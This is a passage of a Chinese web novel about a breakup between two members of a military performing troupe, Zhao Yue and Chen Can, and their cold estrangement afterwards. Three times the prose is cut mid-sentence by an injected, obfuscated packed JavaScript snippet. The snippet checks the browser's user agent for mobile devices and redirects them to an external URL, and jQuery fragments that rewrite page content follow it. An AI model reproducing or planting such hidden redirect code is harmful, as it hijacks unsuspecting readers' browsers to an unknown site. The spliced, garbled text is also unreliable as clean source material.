我怪的是你瞒,怪的是你骗,怪的是事情摆到眼前了,你到现在想的都不是‘我错了’,而是‘我都哄你了,你还想怎样’。”
他顿了顿,声音轻却扎人:“兆悦,你到现在,都没真觉得自己错在哪。”
兆悦被他一句句逼得满心无力,又酸又闷。
她从头到尾要的,不过就是两个人安安稳稳、一直好好的。
她瞒着,不是要做什么对不起他的事,更不是跟齐威有什么不清不楚,只是不想让一个早成过去的人,平白搅了他们现在的日子。
她只想快点把突然冒出来的人处理掉、打发走,就当什么都没发生,继续好好在一起。
她的本意从来不是害他、骗他。
可现在,陈灿反反复复揪着“你错了”“你瞒我”“你骗我”,她明明解释了初衷,却像从来没被听进去过。
到底错在哪?
错在不想破坏关系?
错在想把麻烦悄悄解决掉?
错在低头放低姿态,却怎么都捂不热他的冷脸?
兆悦看着他,眼底那点一直撑着的急切,一点点淡了下去。
心里那股又累又委屈的劲儿翻上来,那一瞬间,她是真的觉得——算了。
怎么解释都没用,怎么低头都没用,干脆就这样吧。
她甚至生出了一丝想放弃的念头。
兆悦眼底那点一直绷着的劲儿,彻底淡了下去。
她不再急,不再争,也不再试图讨好。
就那样看着他,声音平静得近乎麻木,轻轻问了一句:“那你现在是什么想法?”
陈灿看着她突然平静下来的样子,心里也跟着一沉。
他原本以为她会继续争、继续急,可她这副破罐子破摔、快要放弃的模样,比吵架更让他难受。
他沉默了几秒,眼神暗了暗,语气里没了之前的冷硬,却多了几分疲惫和认真,一字一句很轻,却很重:“我没想要逼你,也没想要怎么样。我只是想知道,在你心里,实话重要,还是‘看起来好好的’重要。”
他顿了顿,目光落在她脸上,带着一丝自己都没察觉的不安:“你现在问我什么想法……我想知道的是,你以后,还会不会再这样瞒我。”
61. 安静
兆悦被他这番话彻底激得心头火起,所有委屈和烦躁一下子全涌了上来。
凭什么?凭什么到现在,他还能说得好像她瞒着他做了多么十恶不赦的事一样。
她的初心明明是好的,她只是不想让一个突然冒出来的人,破坏他们好不容易安稳下来的感情。
如果当初她一五一十全都说了,他就能一笑而过吗?
不可能。
他只会吃醋,只会多想,只会闹。
不说,是错;说了,也是错。
怎么做,都是她不对。
兆悦被他这话彻底激得心头火起,满心都是无力又憋屈的火气。
行,既然他一口咬定就是她瞒、她错,那她认还不行吗?
她语气又急又冲,带着破罐破摔的烦躁:“是,我瞒你了,我错了,行了吧!我真的不想再解释,也不想再说了!
你把我叫过来,到底想说什么?想让我说什么?你到底想听到什么?!”
发闷,原本压着的情绪也跟着往上涌。
他看着她,眼神一点点沉下去,没有吼,却比发怒更冷。
“我想听到什么?”他重复了一遍,声音里带着压抑到极致的失望。
“我从头到尾,只想听你一句真心的认错,听你说一句——你不该瞒我。
不是现在这种‘算我错了行了吧’的敷衍,不是觉得我在无理取闹,更不是你哄我两句就仁至义尽。”
他往前半步,目光直直盯着她,每一个字都重:“我叫你过来,不是为了逼你,不是为了听你发脾气。我只是想确认,在你心里,我们之间,到底需不需要真话。”
兆悦胸口剧烈起伏,深吸一口气也压不住往上冲的火气,脑子一片乱,话已经不经思考就冲出口。
“陈灿,你给我来个痛快的,!你到底想干什么?!”
陈灿猛地抬眼看向她,眼底最后一点温度也淡了下去。
他沉默了很久,久到空气都像冻住了。
再开口时,声音很轻,却带着一种彻底死心的平静。
“我不想干什么。”他顿了顿,轻轻收回目光,语气淡得像在说一件和自己无关的事。
“我只是……突然觉得,好像怎么说,都没意义了。”
兆悦心口猛地一沉,瞬间就懂了他那句“没意义”背后的意思。
还有什么不明白的?无非就是不想继续了。
不想处就不处,谁又非赖着不可。
她强撑着抬眼,声音发紧,每个字都像从喉咙里挤出来:“好,我懂你的意思。
我们结束了,是吗?”
话一出口,她自己都能感觉到,每说一个字,心都在控制不住地发颤。
陈灿整个人像是被这句话狠狠钉在原地。
他喉结动了动,明明有无数话涌到嘴边,却一个字都吐不出来。
眼底那层一直强撑的平静,瞬间碎了。
他看着她,眼神里有痛、有慌、有不敢置信。
他没立刻承认,也没反驳。
只是沉默了太久,久到连呼吸都变得沉重,最后才哑着声音,艰难地挤出一句:“……在你眼里,我就是这个意思?”
兆悦气得胸口发闷,一句话都说不出来,心里又委屈又堵得慌。
我跟你解释了那么多,可你只会说我瞒你、我错了。
我认了,我也低头了,你却一直揪着不放。事情都已经这样了,你到底还想怎么样?这么不停地纠结、逼我,不就是想放弃、想结束吗?
她抬眼看向他,声音又抖又硬,直接反问:“难道不是这个意思吗?”
兆悦整个人都透着一股累到极致、心灰意冷的疲惫,连争辩的力气都没了。
她声音发哑,轻飘飘的,却带着破釜沉舟的决绝:“我不想再纠结瞒不瞒、错不错了,都是我的问题,可以了吧?是我瞒了,是我错了,什么都别说了。
这个问题解决不了,那就解决人。
就这样吧。”
她每一个字都很轻,却像一把钝刀,一下下割在两个人心上。
她不是不疼,是疼到麻木,疼到不想再撑了。
陈灿被她这句“解决不了问题,就解决人”狠狠砸中,脸色瞬间沉了下去。
他骨子里那点骄傲被彻底戳醒,再疼、再舍不得,也不会低头去求。
他喉结狠狠动了一下,眼神又冷又硬,带着被伤到极致的自尊。
没有挽留,没有争辩,甚至没有再看她一眼。
声音淡得像冰,却字字带着骄傲的决绝:“好。那就……就这样吧。”
说完,他转身就走,背影挺得笔直,半点没回头。
只有攥得发白的指节,才泄露出他没表现出来的疼。
兆悦就那样僵在原地,看着他头也不回地走出排练厅,那道笔直又冷漠的背影,一点点消失在门口。
门轻轻合上的瞬间,她全身的力气像是被瞬间抽干。
她慢慢蹲下身,把脸埋进膝盖里,肩膀控制不住地发抖。
一开始只是无声地掉泪,到后来,压抑了一整场争吵的委屈、不甘、心疼和绝望,终于再也绷不住。
哭声闷在臂弯里,断断续续,又轻又碎。
明明是他先揪着不放,是他先说没意义,是他转身就走,可最后崩溃大哭的,还是她。
陈灿脚步刚踏出排练厅,那股撑着全程的、冷硬的骄傲,瞬间就垮了半截。
他没有回头,后背却绷得像一张拉满的弓,每一步都走得极重,不是从容,是硬撑。
指节依旧攥得发白,骨节泛青,连掌心都被指甲掐出了深深的印子,火辣辣地疼,却远不及心口那一下下闷痛。
他脑子里反复回荡的,全是兆悦最后那句轻飘飘却决绝的“解决不了问题,那就解决人,就这样吧”,还有她刚才气到发抖、委屈到极点的模样。
他不是不难受,不是不在乎。
只是他的骄傲不允许他回头,不允许他在争吵最尖锐的时候服软,更不允许他表现出一丝一毫的慌乱与不舍。
他逼着自己往前走,步子迈得又大又急,像是在逃离什么。
耳边还残留着她带着哭腔的质问,眼前晃着她红着眼、强装强硬的脸。
他明明想要的只是一句真话,只是她的态度,可最后,却把两个人逼到了绝路。
走到走廊尽头,风一吹,他才发现自己呼吸都在发颤。
他猛地停住脚,却依旧没有转身。
喉结剧烈滚动,哑得发不出声音。
心里有个声音在疯狂叫嚣——回去,回头,拉住她,别就这么算了。
可他的骄傲、他的自尊、他刚才说出口的冷硬,像锁链一样把他钉在原地。
他闭了闭眼,再睁开时,只剩一片压抑的暗红。
最终,他还是抬手,烦躁地扯了扯衣领,转身朝着相反的方向大步离开。
兆悦蹲在地上,哭得浑身发颤。
她从前谈的那些恋爱,来得快去得也快,分开就分开,从没有过半点舍不得。可这一次,不一样。
这不是随便闹闹,不是快餐式的喜欢。
是现在一分手,那种疼不是难过,是心如刀割。
整个人沉得像灌了铅,别说站起来,连呼吸都觉得费力。
心脏像是被一只手狠狠攥住,又被细钻一下下往里钻,闷痛、刺痛、绞痛混在一起,连哭都哭得喘不上气。
她从来不知道,原来真心喜欢过的人,分开会是这种滋味。
痛到发麻,痛到发空,痛到觉得自己好像被抽走了一半。
兆悦蹲在地上,哭得视线模糊,心里又酸又涩,一遍遍揪着自己想:他陈灿呢?
他走得那么坚决,那么干脆,连头都没回一下。
看上去那么淡定,那么冷静,仿佛刚才那一场争吵、那一句分手,对他一点影响都没有。
好像这段感情里,只有她一个人在当真,只有她一个人掏心掏肺。
只有她疼得喘不过气,只有她崩溃大哭,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309143|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只有她被这段感情扒掉一层皮。
陈灿多理性啊。
理性到说冷静就冷静,说转身就转身,说没意义就真的能放下。
理性到连一点舍不得、一点慌乱,都不肯让她看见。
原来从头到尾,拼尽全力、痛到不行的,只有她一个人而已。
兆悦哭到眼睛发肿、浑身发软,才勉强撑着地面站起来,抹了把脸,失魂落魄地回了宿舍。
一进门,她什么也不想管、什么也不想说,直接往床上一倒,把整个人埋进被子里。
脑子空空的,心里堵得发慌,没一会儿就昏昏沉沉睡了过去。
这一觉睡得昏天黑地,连梦都没有,仿佛要把所有的难过都睡过去。
等她再醒过来,宿舍里早就一片漆黑,室友们都睡得很沉,只有窗外透进来一点微弱的月光。
夜深人静,连呼吸声都听得清清楚楚。
她睁着眼,望着漆黑的天花板,再也睡不着了。
安静一涌上来,白天的画面就不受控制地往脑子里钻——他的质问,他的失望,他那句轻飘飘的“没意义了”,还有他头也不回、决然而去的背影。
心里一抽一抽地疼。
眼泪又悄无声息地顺着眼角滑下来,打湿了枕巾。
她死死咬着唇,不敢发出一点声音,怕吵醒室友,更怕承认自己还是这么难受。
明明已经说了结束,明明告诉自己不值得,
可在这无人知晓的深夜,她还是控制不住地,为他红了眼眶。
陈灿回到男兵宿舍时,熄灯号早已吹过,营房里一片漆黑,战友们都已沉沉睡去。
他躺回自己的铺位。
可一闭上眼,白天排练厅里的画面就密密麻麻涌上来——兆悦泛红的眼眶,她颤抖着说出“就这样吧”,还有她最后那副心灰意冷的模样。
他睁着眼,望着黑暗中蚊帐顶模糊的纹路,半点睡意都没有。
周身静得能听见窗外风吹树叶的轻响,还有身边战友均匀的呼吸。
他一动不动地躺着,心里那股翻涌的情绪,却怎么也按不下去。
黑暗里,只有他自己知道,这一夜,他睁着眼,直到天快亮,都未曾真正合眼。
第二天一早,起床号刚响,兆悦就强撑着爬了起来。
眼睛还有些微肿,她刻意用冷水多敷了一会儿,才跟着萧穗子她们一起洗漱、整理军装,沉默着往排练厅去。
这段时间团里的演出稍稍减了些,接下来要去一处偏远的地方慰问演出,条件简陋,没有钢琴伴奏。
原本在乐队的兆悦,也就顺理成章地回到了舞蹈队。
她没多说什么,只是跟着队伍站好队形,压腿、开肩、跟着节拍重复动作。
脸上看不出太多情绪,只一双眼睛比平时安静了许多,安静得有些发空。
每一次转身、跳跃,都在刻意避开某个方向,某个她不敢去看的位置。
从那天起,兆悦和陈灿,真真正正退成了最普通的队友。
面上看不出半点异样。
兆悦还是那副模样,和萧穗子说笑,和郝淑雯搭话,对林丁丁客气,尤其跟何小萍走得很近,形影不离。
杭春明照旧爱打趣、爱热闹,可他眼尖,心里早跟明镜似的——那天排练厅之后,两人不是闹别扭,是彻底了断了。
他不敢多问,也不敢上前触霉头,只装作什么都没看出来。
文工团的日子照常流转,出操、排练、吃饭、休息,一切和从前一模一样。
只有他们自己知道,有些东西,彻底不一样了。
再也不会有半夜偷偷溜去排练厅的见面,再也没有避开人群的眼神,没有私下的叮嘱,没有心照不宣的靠近。
遇见了,点头、让路、错开目光,客气又疏离,比队里任何一对普通战友都要规矩。
白天有多热闹,夜里就有多安静。
看上去一切如常,只是那两个曾在暗处靠近的人,从此,真的成了陌生人。
62. 疏远
杭春明瞧着两人这小半个月都冷得像陌生人,天气都回春了,他俩那关系半点没回暖,心里是真替兆悦着急。
这天趁着旁人没留意,他把兆悦拉到一边,压低声音嘀咕:“悦儿姐,我可都看在眼里了。之前齐威追你,你明明白白给人打发了,转头选了陈灿。
怎么现在跟陈灿也闹成这样?这不是……赔了夫人又折兵嘛?西瓜丢了,芝麻也没捡着。你就不急啊?”
兆悦手上整理着舞鞋,头也没抬,语气淡得像一潭死水:“不急啊。分了就是分了,断都断了,有什么好急的。”
杭春明看着兆悦嘴硬到底的模样,叹了口气,都懒得跟她掰扯,可到底是心疼自己这个好姐姐,还是忍不住多劝两句。
“你就硬撑吧,别到最后竹篮打水一场空,啥都落不着。之前好得跟一个人似的,至于吗?把话说开不就完了?”
这些话落在兆悦耳朵里,只觉得又烦又涩。
哪有那么容易说开?两个人都那么要面子,谁也不肯先低头。
她也是要脸面的人,一想起那天的僵持和他决绝地转身,就半点缓和的心思都没了。
“烦得慌,不想提了,就这样吧。”
杭春明见她油盐不进,该说的都说尽了,只好转头把主意打到陈灿身上。
他和陈灿本就是一个宿舍的,关系依旧跟往常一样,可他也没傻到直接开口问“你是不是分手了”,那也太没眼色了。
这小半个月,陈灿不管是在宿舍还是训练,都跟平常没两样。
该练号练号,该休息休息,神色平静,看不出半点失魂落魄、伤心难过的样子。
兆悦那边也是一副云淡风轻的模样,两个人凑一起,反倒把杭春明给整糊涂了——这俩人是真在一起过,又真分了吗?怎么看都不像刚分手的样子。
这天歇得早,宿舍对面一片闹哄哄,一群人凑在一块儿打牌说笑。
杭春明瞅准时机,凑到陈灿身边,状似随意地搭了话。
杭春明往陈灿身边一坐,随手扯过张凳子,装得跟平常唠嗑似的,先往打牌那边瞟了一眼,才压低声音开口。
“哎,我说,最近排练挺累吧?”
陈灿擦着手里的号,头也没抬,淡淡应了一声:“还好。”
杭春明搓了搓手,绕了半天,才敢往正题上蹭:
“那个……悦儿姐,最近也回舞蹈队了,你们俩……现在到底啥情况啊?”
陈灿擦号的动作,几不可查地顿了一瞬,没立刻答话。
杭春明一看有戏,赶紧小声补了句:“我可直说了啊,之前你们俩那样,谁都看在眼里。这小半个月,跟陌生人似的,我都替你们别扭。你跟我交个底,是真……分了?”
陈灿把擦布慢慢叠好,指尖在号身上轻轻一按,声音平静得听不出情绪。
“嗯,分开了。”
杭春明当场就愣了下,瞪着眼:“真分开了?!不是闹脾气啊?”
陈灿抬眼,目光落在远处闹哄哄的人群,语气淡得像水:“没闹脾气,就这样了。”
杭春明急了:“不是,至于吗?之前好成那样,有啥话说不开?她那边我也劝了,嘴硬得很,你这边又跟没事人一样……你们俩这是较什么劲啊?”
陈灿沉默了片刻,喉结轻轻动了动,最终只说了一句:“有些事,说不开,也没必要说了。”
说完,他拿起号,站起身,往宿舍外走了两步,留下一个看不出半点情绪的背影。
杭春明坐在原地,愣了半天,最后只能无奈叹了口气。
这俩人,一个比一个能藏,一个比一个能扛。
外面看着风平浪静,谁知道心里翻成什么样。
除了杭春明,便只有何小萍最是敏锐。
她和兆悦朝夕相伴、形影不离,兆悦脸上那点藏不住的低落,旁人瞧不出来,她却一眼就能捕捉到。
明明训练依旧认真,舞姿依旧利落漂亮,可休息时总爱一个人安安静静坐着,眼神空落落的,连往日里的鲜活劲儿都淡了许多。
这天中场休息,何小萍轻轻挪到兆悦身边,声音软乎乎又带着小心翼翼,委婉地问了一句:“悦儿姐,你……是不是最近不开心?”
兆悦愣了一下,眼底飞快地掠过一丝藏不住的伤感,仅仅一瞬,便又强撑着扯出一点平静的神色,摇了摇头。
可那细微的神情,还是被一直盯着她的何小萍牢牢捕捉到了。
何小萍不敢再多问,怕惹她难过,转头便悄悄找到了杭春明。
杭春明本就知道兆悦最信任何小萍,也清楚何小萍性子稳妥、嘴严心细,半点没有隐瞒,压低声音把两人彻底分开的事说了出来。
何小萍当场就愣在了原地,好半天没回过神。
她心里隐隐有过猜测,想起之前齐威的纠缠,想起兆悦那段时间的为难,可真听见“分开”两个字,还是忍不住心口一沉。
她下意识便站在了兆悦这边,在心里默默替兆悦辩解——悦儿姐那么好,她哪里是故意要瞒?不过是怕影响感情,怕多生事端,才想着多一事不如少一事,明明是一片好心。
想着想着,何小萍便在心底轻轻叹了句,陈灿他,真的不懂得珍惜。
杭春明在一旁垂头丧气,无奈摆了摆手:“唉,现在说这些还有什么用啊,人都已经分了,两个都倔得像头牛,谁也不肯先低头。”
何小萍没再说话,只是望向排练厅里兆悦孤单坐着的身影,眼底满是心疼。
天气彻底回暖,文工团里的棉大衣都被大家叠整齐压进了箱底,连风里都飘着淡淡的草木清香。
何小萍几乎寸步不离地陪着兆悦,刻意多笑、多说话,把自己最积极乐观的一面展现出来,只想让兆悦能松快一些。
兆悦看着她眼里干净又明亮的光,看着她哪怕受过委屈也依旧向上的模样,心里那片沉甸甸的阴霾,也不知不觉被吹散了些许。
她慢慢开始想通了。
分手是自己先提的,路走到了尽头,再强求也没有意义。
这段日子,她安安静静反思了很久。从最开始穿越到这个世界,接近陈灿本就带着私心——不过是看中他的家庭背景,想为自己在陌生的文工团找一条安稳退路。
直到后来动了真心,又开始患得患失,纠结他是不是太过理性、太过市侩,是不是看重家世背景胜过感情,反反复复,把自己困在原地。
可直到此刻她才猛然清醒,自己来到这个世界这么久,竟然一直把所有心思,都耗在了情情爱爱里。
既然已经分开,便更没有理由再困在这方寸情绪里。天气一暖,兆悦的气色也跟着轻快起来,闫展博反倒最先凑上来打趣她。
他心思细得像针,早把她和陈灿那点僵持看在眼里,只是一直没吭声。
自打他进文工团,就数跟兆悦最聊得来——她懂他看的书,懂他没说出口的心事,甚至隐隐猜到了他不愿对外说的取向。在兆悦面前,他最放松,也最不用藏着掖着。
如今兆悦调回舞蹈队,新来的他本就没有固定搭档,两人顺理成章成了一组。
排练间隙,闫展博往她身边一靠,眉眼弯弯地笑:“怎么,这几天又活过来啦?”
兆悦伸手轻轻推了他一把:“少拿我打趣。”
可这人偏不罢休。
隔天
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309144|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去食堂的路上,四下没人,他慢悠悠又开口:“真不打算和好了?”
兆悦脸色微顿,不想再听见陈灿的名字,索性故意刺他:“怎么,你看上他了?”
闫展博一下子愣住,随即哭笑不得:“我看上他,你能让给我啊?”
兆悦嘴硬得很,语气轻飘飘地回:“让什么让,本来就不是我的人。”
闫展博看着她死撑的样子,憋着笑直摇头,只当她是嘴硬心软。
只是两人都没察觉,不远处的路口,一道目光静静落在这里,把刚才的对话,一字不落地看进了眼里。
食堂里热气腾腾,菜香混着人声,一片热闹。
陈灿真的又退回到了兆悦刚进文工团时的样子。
萧穗子只是在打饭时,顺手帮他多递了一双干净的筷子,又轻声提醒了一句:“今天的炖菜挺香的,你可以多盛一点,下午练号费力气。”
他没有像之前和兆悦在一起时那样刻意回避,只是轻轻点了下头,声音平淡:“知道了,谢谢。”
没有多热情,也没有彻底拒绝,只是客客气气,保持着一段不远不近的距离。
郝淑雯坐在旁边,看得明明白白,嘴里嚼着菜,随口就跟他斗起嘴来:“我说陈灿,你最近倒是安分不少啊,以前整天吊儿郎当的,现在怎么这么消停了?”
陈灿抬了抬眼,语气不咸不淡地顶回去:
“安分点不好吗?省得你天天抓我把柄。”
“我可不用抓,你自己往眼前送。”郝淑雯嗤笑一声。
萧穗子在中间轻轻打圆场:“好啦好啦,吃饭呢,别斗嘴了。”
兆悦就坐在郝淑雯和萧穗子旁边,从头到尾一言不发。
她垂着眼,安安静静吃自己碗里的饭,筷子一下下夹着菜,仿佛身边这几个人的对话、眼神、动静,全都跟她没关系。脸上没表情,不抬眼,不张望,平静得像什么都没听见。
斜对面的闫展博把这一幕看得清清楚楚,端着一盘吃得悠闲,眼睛里明晃晃是看热闹不嫌事大的笑意,一会儿瞟瞟陈灿,一会儿看看兆悦,心里门儿清。
而陈灿,在所有人都没注意的间隙,目光极轻、极快地,从兆悦安静低垂的侧脸上扫过一瞬,又立刻收了回来,指尖在筷子上微微一攥。
脸上依旧没什么波澜。
眼前是陈灿跟郝淑雯有一句没一句地斗嘴,坦然接受着萧穗子细碎的好意,那副温和的模样,像一把小针,一下下扎在她心上。
她当然不舒服。
可她又有什么立场不舒服?
他们早就没关系了。
是她亲手推开的,是两人一起冷掉的,如今再酸再涩,都名不正言不顺。
她一口也吃不下了,握着筷子的手指微微泛白。
下一秒,兆悦端起餐盘,声音轻得几乎听不清:“我吃好了。”
话音刚落,她起身就走,没有回头,没有多余的眼神。
而陈灿,就坐在那儿,头都没抬一下。
眼睛只盯着自己碗里的饭,一下下机械地扒着,仿佛身边起身离开的人,只是一个毫不相干的战友。
看都没看一眼。
陌生得像从来没认识过。
后来好几次,一群人私底下碰到,站在走廊里闲聊几句。
兆悦往往站一会儿,就找个借口先转身走;她一走,没一会儿陈灿也默默挪开脚步,各自散了。
又或者,两人就站在同一堆人里,从头到尾一句话都不说,只是沉默地听着别人说笑,眼神从不交汇,连空气都透着一股生硬的疏远。
明明离得那么近,却比隔着一整个文工团还要远。
63. 水流
只有在这无人看见的上帝视角里才清楚——
他们早已成了两条永不相交的平行线,且在各自的轨道上,越走越远,状态天差地别。
兆悦那一边,正一点点走出来、沉下去、静下来。
身边有何小萍的温柔陪伴,有杭春明的踏实照应;平日里和郝淑雯、萧穗子也能说说笑笑、偶尔斗嘴;就连闫展博,都跟她聊得投机,话题不断。
是啊,她的身边,从来都不缺朋友。
按时排练,按时演出,按时吃饭,按时笑闹。
日子归于平稳,脚步归于从容,心,也终于慢慢平静下来。
而陈灿这一边,却是完全相反的方向。
白天里,他依旧是那个冷静、克制、甚至有点冷淡的陈灿。
可只有在无人的深夜,在排练厅只剩他一个人的时候,那一天看似冷静、又格外冲动的决定,才终于爆发出迟来的后坐力。
不是尖锐的疼,是钝痛。
一圈一圈,沉在心底,越来越重,越来越清晰。
他以为自己扛得住,以为时间会冲淡一切。
可到头来才发现,真正失去之后,最折磨人的,从来不是争吵,而是再也回不去的平静。
兆悦是真的在一点点重新捡起自己的生活。
她开始认真打扮自己了。
文工团里姑娘们大多是利落的侧分短发,或是规规矩矩的两股麻花辫,唯独她,又悄悄把头发编回了精致的鱼骨辫,发丝柔顺。
有时候晚上扎着丸子头睡一觉,第二天头发带着自然的卷度,再随手挽成一个低马尾,软乎乎地垂在颈后,格外耐看。
她还悄悄上了一点淡淡的胭脂水粉,不浓不艳,只是衬得整个人气色莹润,白里透粉。
再加上这段日子瘦了一点,下巴线条轻轻收尖,一张小脸越显秀气精神。
而这一切,都落进了陈灿的眼里。
他越是强迫自己不要看,视线就越是不受控制地往她身上飘。
每一次鱼骨辫的晃动,每一次低马尾的弧度,每一回她白里透粉的侧脸,他都看得一清二楚。
心里一遍又一遍狠命暗示:过去了,都过去了。
她已经是旧相好了。
不要再想,不要再在意,不要再多看一眼。
可越是克制,那道身影就越清晰。
他表面上依旧冷淡平静,头不抬、眼不斜,和她保持着最远的距离。
只有他自己知道,每一次强行移开目光,每一次硬生生压下回头的冲动,都在心里留下一道浅浅的、闷沉的疼。
他以为时间能抹平一切,却没料到,她越是好好生活、越是光彩安稳,他心里那股后知后觉的钝痛,就越是清晰。
等到春光大好,暖风一吹,文工团里的人都脱了厚毛衣,衣裳渐渐轻便起来。
兆悦换上了去年苏琴给她寄来的那身衣服。样式依旧比团里大多数女兵的都要时兴,剪裁微微修身,不紧绷,却恰到好处地衬出身形。
粉嫩嫩的颜色,往春风里一站,把她整个人都衬得鲜嫩水灵,眉眼都柔和发亮。
陈灿每次撞见,都只能更用力地别开眼。
心里那道声音反复提醒自己:都过去了,她已经是过去的人了。
可越是这么想,那抹粉色身影,就越扎眼,越清晰。
春光大好,排练厅里暖意融融,大家都换上了轻薄外套。
兆悦一进来,就成了众人目光的中心——苏琴寄来的那件粉色衣裳,剪裁时兴、微微修身,衬得她肤色白净、身姿轻盈,往姑娘堆里一站,格外惹眼。
闫展博立刻凑上来,一副老嫂子式的八卦模样,又不敢太张扬,凑在旁边小声惊叹:“哇塞……咋这么美呀?想干啥呀?”
郝淑雯跟着起哄,嗓门亮堂堂:“哎哟!这是哪位貌比花娇的人儿啊?”
何小萍最是实在,第一时间走过去轻轻搂着她:“悦儿姐,你今天真好看。”
兆悦被逗得又羞又笑,一个个打趣回去,眉眼轻快,半点没有之前的沉闷。
郝淑雯闹着闹着,顺手拐了一下旁边站着的小号手——陈灿。
她压根不知道两人从前那点事,只当是平常逗乐,随口就冲他笑道:“你看你看,人家兆悦今天多好看,就你整天板着脸。”
这话一落,陈灿身子莫名一僵。
心头猛地一紧,面上却半点不敢流露,只把脸绷得更冷。
他怕旁人看出异样,只能故作不耐,开口的话又硬又冲,半分好听没有:“好看难看跟排练有关系吗?少说闲话。”
郝淑雯当场不乐意了,撇撇嘴怼他:“你今天吃枪药啦?我不就夸人家两句吗!”
陈灿脸色更沉,嘴硬地丢出一句,语气凉得刺人:“能有多好看。”
这话轻飘飘落进耳朵里,兆悦脸上的笑瞬间收得干干净净。
她抬眼看向陈灿,眼神又冷又气,一字一句地回过去:“不好看也不用你评头论足。”
一句话落下,气氛瞬间剑拔弩张。
两人目光撞在一起,冷得发僵,谁也不让谁,周围的人都看呆了。
萧穗子见状,赶紧快步上前,一手紧紧拉住陈灿的胳膊,把他往旁边带了带,先对着众人打了个圆场,随即压低声音,带着几分埋怨和着急对陈灿说:“好了好了,别僵着了。你没事干嘛要这样说呀?”
说完,她又连忙回头,朝兆悦使了个无奈的眼色,想把这瞬间凝固的空气化开。
一旁的林丁丁见状,也连忙上来拉着兆悦往回拽,打圆场似的把人往姑娘堆里带。
何小萍站在兆悦身边,看着陈灿那副态度,忍不住替兆悦用力哼了一声,满是不服气。
到了这一步,两人之间那点仅剩的人前体面,算是彻底顾不上了。
兆悦被拉开几步,抬眼又对上陈灿的目光,心里那股火气与委屈一并涌上来。
她没再多说一个字,眼神一冷,直接转头就走,态度明明白白——就是不想看见他,半分掩饰都没有。
陈灿望着她毫不留恋、说走就走的背影,心头又闷又堵,面上却依旧不肯服软。
有时会跟着冷冷哼一声,或是露出一脸不耐烦、又带着点不服气的神情,别扭又倔强。
旁人看着,只当两人是彻底闹僵、水火不容。
只有他们自己心里清楚,这针锋相对、冷眼相向的背后,藏着多少放不下、又回不去的东西。
这天晚上,宿舍里早已静了下来,其他人都沉沉睡去。
兆悦躺在床上,借着窗外微弱的光,铺开信纸给刘予写信。
写着写着,终究还是提起了她和陈灿分开这件事。
字句平平淡淡,可心里到底压不住一阵发酸,鼻尖微微发涩。
她低头看向手里握着的钢笔——还是陈灿从前送她的。
目光再往床边一扫,搭在床头的帕子,也是他给的。
一样样物件都还在,安安静静摆在那里,可那个人,早就已经远了。
恍惚间,她又想起那次生日,她去拍了婚纱照,给他看。
后来他把准备好的礼物递给她,却又把那张婚纱照换了去,小心翼翼、珍重万分地揣进自己内衣兜里,贴着心口放好。
那时他眼神认真,轻声说:“这个,是我的了。”
往事一涌上来,兆悦握着笔的手轻轻一顿,纸上的字迹微微发颤。
明明是她一步步走出来、慢慢平静了,可在这样无人看见的深夜,那些藏在日子底下的软处,还是会被轻轻一碰,就湿了眼眶。
她吸了口气,把那些翻涌的情绪强压下去,继续慢慢写着信。
心里又忽然想起,眼看又快到她的生日了。
她怔怔地望着天花板,一时竟不知道该做些什么。
这个年代,不能结伴出去热闹,不能唱歌玩乐,连像样的庆祝都有限。
上一次生日,她还偷偷去拍了照片,身边还有他陪着,有暧昧,有甜蜜,有悄悄递过来的心意。
可这一次,什么都没有了。
没有他的礼物,没有他的靠近,连一句轻声的祝福,都成了奢望。
她连忙在心里劝自己,不能再想了。
再想下去,只会忍不住难过,只会又陷进那些回不去的时光里。
一想到白天他在排练厅里那句冷硬刺人的“能有多好看”,她又气又委屈,心口堵得发闷。
天气一天天热起来,热风一吹,兆悦心里那些尘封已久的记忆也跟着翻涌上来。
她忽然就想起了文工团里那个闹得沸沸扬扬的夏天——那是何小萍刚来团里的第一个夏天。
那时大院里有个游泳池,姑娘们一得空就跑去玩水嬉闹。
岸边拉着长长的晾衣绳,上面挂满了刚洗好的衣裳,随风轻轻飘着。
谁也没料到,一阵风忽然卷过来,吹开了其中一件女生的背心。
那件背心里,悄悄缝着薄薄的海绵,是用来垫身形的。
这在当时算不得什么十恶不赦的事,不过是姑娘家一点悄悄爱美、想好看些的小心思。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309145|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可落在郝淑雯、林丁丁、卓玛几个人眼里,却成了可以肆意挖苦取笑的把柄。
萧穗子当时还心软,说了句:“快拿下来吧。”
却被郝淑雯直接打断,语气带着几分故意刁难:“谁拿下来,这东西就是谁的。”
一句话,没人再敢上前。
那天何小萍在排练厅里一个人练了很久。
